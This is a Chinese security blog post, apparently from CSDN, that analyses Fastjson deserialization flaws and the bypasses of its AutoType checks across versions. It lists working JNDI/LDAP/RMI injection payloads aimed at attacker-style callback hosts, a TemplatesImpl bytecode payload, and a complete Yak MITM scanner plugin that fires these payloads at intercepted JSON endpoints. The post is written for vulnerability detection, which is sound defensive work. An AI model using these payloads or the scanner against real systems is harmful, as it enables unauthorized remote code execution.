FastJson 启发式检测

Fastjson payload有很多版本,有些检测工具简单粗暴的将所有payload打了一遍,效率很低,本篇文章意在找出适用范围最广的payload,高效的完成漏洞检测

下面是两个最通用的payload

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} 
 
{"x":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/aaa","autoCommit":true}} 

fastjson漏洞分析

环境搭建

首先创建一个maven项目,pom.xml中加入fastjson依赖

<dependencies> 
    <dependency> 
        <groupId>com.alibaba</groupId> 
        <artifactId>fastjson</artifactId> 
        <version>1.2.24</version> 
    </dependency> 
</dependencies> 

测试代码如下

import com.alibaba.fastjson.JSONObject; 
 
public class fastjsonTest { 
    public static void main(String[] args){ 
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://x.x.x.x:1099/jndi\", \"autoCommit\":true}"; 
        JSONObject.parse(payload); 
    } 
} 

调试跟踪

第一个payload

解析json部分代码在fastjson-1.2.24.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class#

parseObject中

解析流程是先创建JSONScanner(词法分析器)

当遇到key之前的"时,检查symbols:$ref和@type

这里的ref是value,即com.sun.rowset.JdbcRowSetImpl,然后通过类名加载对应类

这里除了直接用类名,还有几种变形payload:Lcom.sun.rowset.JdbcRowSetImpl;、LLcom.sun.rowset.JdbcRowSetImpl;;、[com.sun.rowset.JdbcRowSetImpl

原因是TypeUtils.loadClass方法中对类名做了处理,如图,当className是L开头;结尾,直接去掉(注意这里是用的递归,所以在类名前加多少L都可以)(这么做是为了兼容JNI字段描述符)

如果是[开头,也是直接忽略掉,然后加载类,但返回的是com.sun.rowset.JdbcRowSetImpl类型数组的class

类加载成功后,根据类型,获取deserializer(不妨叫它反序列化器吧),开始“反序列化”

反序列化过程在fastjson-1.2.24.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class#deserialze方法中

大概流程就是,创建一个空对象,然后调用setXxx方法,为对象属性赋值,payload中有两个属性dataSourceName和autoCommit,com.sun.rowset.JdbcRowSetImpl的setAutoCommit方法会对dataSourceName进行lookup(相关代码在com/sun/rowset/JdbcRowSetImpl.java),导致jndi或rmi注入

再看看,如果类名是[开头的payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true} 

[com.sun.rowset.JdbcRowSetImpl加载时得到的是数组类型

关键是如何在反序列化时,将属性值赋值给JdbcRowSetImpl对象,所以重点关注词法分析器如何解析json的

在数组反序列化器中调用了parseArray方法,根据成员类型,再反序列化com.sun.rowset.JdbcRowSetImpl

如图,获取到类名后,调用nextToken(16),这里的16标志着期待下一个字符是},结尾(但实际上下一个字符是[)

当匹配失败后,可能是为了容错,还会继续调用nextToken()方法,匹配到[,token设置为14,在数组反序列化器中调用了nextToken(12),匹配了{,然后调用scanSymbol方法,但现指向字符是,,所以得到的key是null,进入下一次循环,得到key:dataSourceName

实际测试去掉这个,:{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}依然有效

调试时发现payload还可以变形

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[<任意数量的,>{<任意数量的,>"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

第二个payload

对比第一个payload,多了个{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},这个是对AutoType绕过的,1.2.25才有AutoType,

如图,原来直接loadClass改为了checkAutoType

在checkAutoType方法中,未开启AutoType情况下会有下面两种加载方式,先看getClassFromMapping

如图,从mappings中取

第二种是从deserializers中取,如图deserializers是内置的一些类和对应的反序列化器

而且deserializers是private类型变量,在当前类里搜deserializers.put,发现有个public方法putDeserializer是可以向deserializers添加新数据的,全局搜索下,有两个方法调用,但都不能利用,所以这种加载方式pass

再看mapping,也是private类型,搜下mappings.put,发现loadClass有调用,load过的class都会存到mapping。全局搜索TypeUtils.loadClass,发现4个调用的地方,有两个需要开启autoTypeSupport,还有一处在白名单内,也pass(这里可以看出,即使开启了autoTypeSupport,也不能直接加载目标类,因为有黑白名单限制)

最后一处在MiscCodec.deserialze方法中

MiscCodec继承了ObjectDeserializer,所以它应该反序列化器,所以去deserializers中看下这是谁的反序列化器

这么多类都用它反序列化,再看下MiscCodec.deserialze方法,发现里面都是if,应该是把一些简单的类都塞到这里了,TypeUtils.loadClass在Class.class的判断里,所以大概猜到,Class类在反序列化时会调用TypeUtils.loadClass,再看下传入loadClass的参数,是在前面解析的"val"对应的value

到此大概猜出,可以用{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}先加载一遍com.sun.rowset.JdbcRowSetImpl,放进mapping缓存,下次加载com.sun.rowset.JdbcRowSetImpl可以通过缓存加载,从而绕过AutoType的限制

AutoType和黑白名单

在1.2.25版本后,增加了AutoType和黑白名单的限制

根据黑白名单逻辑,当AutoType为False时不会进入这段黑白名单判断代码(1.2.25版本)

除了这种黑名单,还有一种黑名单,如下,要同时满足,在黑名单内且不在mapping内,明显这种通过第二种payload,可以在mapping中添加目标类的缓存,从而绕过

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) 

还有一种黑名单只做了这个判断if (Arrays.binarySearch(denyHashCodes, hash) >= 0,而且com.sun.*都被禁了,同时关闭了缓存,不能通过第二种paylaod绕,只能通过不在黑名单中的第三方库绕过

总结

看下fastjson漏洞修复历史(这里的绕过是针对第一个payload的变形)

fastjson版本修复绕过
1.2.25使用checkAutotype,和黑白名单限制@type的类型类名前后加L和;、LL和;;或类名前加[都可
1.2.42如果类名有,则去掉L和;LL和;;或类名前加[都可
1.2.43如果类名是LL开头直接抛异常类名前加[
1.2.45如果类名是[开头通过第三方库绕过黑名单

画了个图

如图

AutoType关闭时,1.2.25 ~ 1.2.47版本都可以通过第二个payload绕过

AutoType开启时,1.2.25 ~ 1.2.32版本由于会进入黑名单判断,所以要用第一个payload的绕过变形(通过类名前后加L、;绕过即可),1.2.32~1.2.47可以利用第二个payload绕

综上,在<=1.2.47的版本关闭AutoType的都可以用下面两种payload绕过

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass","autoCommit":true}} 

开启AutoType的需要绕过黑名单

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl"[,,,{,,,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} 

这两个payload通过jndi或rmi检测,检查dnslog反连,受jdk版本限制。同样的java.net.InetAddress也可以检查dnslog反连,且不受jdk版本、黑名单影响,而且在deserializers里自带,不需要绕过autotype,而且可以检查未开启AutoType的1.2.48之后的版本,所以最终payload如下,这就是大道至简吧,,

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} 
// 还有一种畸形payload 
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"} 

调试时发现在1.2.25后的版本,在checkAutoType中都有下面代码

所以可以用下面方式绕过一些流量检测设备{"@type":"java$net$Inet4Address","val":"http://xxx.dnslog.cn"}

在1.2.48版本中,默认关闭缓存,而且java.lang.Class和java.net.InetAddress也被加进了黑名单

所以1.2.48后的版本利用前提是需要开启AutoType,而且存在某个不在黑名单中的第三方库可以利用,这个gadget就很多了

下面是我在网上收集的几个高版本payload

1.2.45

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}} 

1.2.62

{ 
   "@type":"org.apache.xbean.propertyeditor.JndiConverter", 
   "AsText":"rmi://{{interactsh-url}}/exploit" 
} 

1.2.66

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} 
 
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} 
 
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} 
 
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}} 

不出网的利用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 
org.apache.tomcat.dbcp.dbcp2.BasicDataSource 
例: 
{ 
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", 
    "_bytecodes":["<base64编码的bytecodes>"], 
    "_name":"c", 
    "_tfactory":{}, 
    "outputProperties":{} 
} 

注:测试时发现有时在解析json前会判断类型是否匹配,匹配失败则在解析前抛出异常。所以需要将payload改造一下,如{"@type":"java.net.Inet4Address","val":"http://xxx.dnslog.cn"}改为{"a":{"@type":"java.net.Inet4Address","val":"http://xxx.dnslog.cn"}}

yak插件实现

payload分为三类,大概逻辑是首先使用Inet4Address检测,如果存在fastjson,则继续测试jndi利用payload,否则继续测试高版本payload

mitm模块有5个hook方法,这里使用mirrorNewWebsitePath方法,可以保证每个路径只检测一次

而且在mirrorNewWebsitePath方法中,可以对响应包做检测,如果是json数据,才开始fastjson漏洞检测。可以有效减少无效发包数量

# mitm plugin template 
 
#--------------------------WORKSPACE----------------------------- 
__test__ = func() { 
    results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://192.168.101.211:26468/") 
    if err != nil { 
 
        return 
    } 
    isHttps, url, reqRaw, rspRaw, body = results 
    mirrorNewWebsitePath(results...) 
} 
 
highVersionPayload = [`{"{{randstr(2)}}":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"{{params(reverseConnTarget)}}"}}`,`{"{{randstr(2)}}":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"{{params(reverseConnTarget)}}"}`,`{"{{randstr(2)}}":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"{{params(reverseConnTarget)}}"}}}`] 
dnslogPayloads = [`{"{{randstr(2)}}":{"@type":"java.net.InetSocketAddress"{"address":,"val":"{{params(reverseConnTarget)}}"}}}`,`{"{{randstr(2)}}":{"@type":"java.net.Inet4Address","val":"{{params(reverseConnTarget)}}"}}`] 
nextPayload = [`{"{{randstr(2)}}":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"{{randstr(2)}}":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{params(reverseConnTarget)}}","autoCommit":true}}`,`{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,,,{,,,"dataSourceName":"{{params(reverseConnTarget)}}", "autoCommit":true}`] 
 
 
fastJsonCount = 0 
lock = sync.NewLock() 
addTask = func() { 
    lock.Lock() 
    defer lock.Unlock() 
 
    fastJsonCount++ 
    yakit_status("FastJSON 检查任务", sprint(fastJsonCount)) 
} 
 
subTask = func() { 
    lock.Lock() 
    defer lock.Unlock() 
 
    fastJsonCount-- 
    if fastJsonCount > 0 { 
        yakit_status("FastJSON 检查任务", sprint(fastJsonCount)) 
    }else{ 
        yakit_status("FastJSON 检查任务", "暂无执行中") 
    } 
} 
 
mirrorNewWebsitePath = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) { 
    addTask() 
    defer subTask() 
    defer func { 
        err = recover() 
        if err != nil { 
            log.error("MITM FastJSON ERROR: %v", err) 
        } 
    } 
 
    host, port, err = str.ParseStringToHostPort(url) 
    addr = str.HostPort(host, port) 
 
    rspIns, err = poc.ParseBytesToHTTPResponse(rsp) 
    if err != nil { 
        println(err) 
        return 
    } 
 
 
    result = str.Join(rspIns.Header["Content-Type"], "; ") 
    if (!str.MatchAllOfSubString(str.ToLower(result), "json")) && (!str.IsJsonResponse(rspIns)) { 
        log.info("not a valid json type: %v", result) 
        return 
    } 
 
    yakit_output(sprintf("Start to check fastjson vuln for: %v", addr)) 
    freq, err = fuzz.HTTPRequest(req) 
    die(err) 
 
    yakit_output("Start to fetch DNSLog") 
    domain, token, err = risk.NewDNSLogDomain()// "ldap://127.0.0.1:123/123" 
    if err != nil { 
        yakit_output("Fetch DNSLog Failed: %s", err) 
        return 
    } 
    yakit_output(sprintf("Fetch domain: %s",domain)) 
    reverseConnTarget = sprintf("ldap://%v/%v", domain, str.RandStr(10)) 
    freq, err = fuzz.HTTPRequest(req) 
    if err != nil { 
        yakit_output("build http request failed: %s", err) 
        return 
    } 
 
    payloadRes = [] 
    fuzzInfo = nil 
    riskLevel = "" 
    checkVul = fn(host,port){ 
        genPayload = fn(payloadRaw,rev) { 
            return fuzz.StringsWithParam(payloadRaw, {"reverseConnTarget":rev})[0] 
        } 
        testPayload = fn(payload) { 
            yakit_output(sprintf("Send payload: %s",payload)) 
            freq = freq.FuzzMethod("POST").FuzzHTTPHeader("Content-Type", "application/json").FuzzPostRaw(payload) 
            res, err = freq.Exec(httpool.https(isHttps), httpool.size(1)) 
            for result = range res { 
                results, err = risk.CheckDNSLogByToken(token) 
                if err != nil { 
                    yakit_output(sprintf("check dnslog result failed: %s", err)) 
                    continue 
                } 
                if len(results) > 0 { 
                    fuzzInfo = result 
                    payloadRes = append(payloadRes,payload) 
                    return true 
                } 
            } 
            return false 
        } 
        for _,dnslogPayload = range dnslogPayloads{ 
            if testPayload(genPayload(dnslogPayload,domain)){ 
                riskLevel = "middle" 
                for _,payloadRaw = range nextPayload{ 
                    if testPayload(genPayload(payloadRaw,reverseConnTarget)){ 
                        riskLevel = "critical" 
                        return true 
                    } 
                } 
                return true 
            } 
        } 
        for _,payloadRaw = range highVersionPayload{ 
            if testPayload(genPayload(payloadRaw,reverseConnTarget)){ 
                riskLevel = "critical" 
                return true 
            } 
        } 
        return false 
    } 
 
    if checkVul(host,port){ 
        yakit_output(sprintf("FastJson Found! %v", addr)) 
 
        risk.NewRisk( 
            addr, risk.payload(str.Join(payloadRes, "\r\n")), 
            risk.type("rce"), risk.level(riskLevel), 
            risk.title(sprintf("FastJSON RCE via DNSLog: %v", addr)), 
            risk.titleVerbose(sprintf("FastJSON 远程命令执行(DNSLog): %v", addr)), 
            risk.details({ 
                "request": fuzzInfo.RequestRaw, 
                "response": fuzzInfo.ResponseRaw, 
                "token": token, 
                "domain": domain, 
            }), 
            risk.token(token), 
        ) 
    }else{ 
        yakit_output(sprintf("Target: %s is invulnerable", host)) 
    } 
 
} 

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值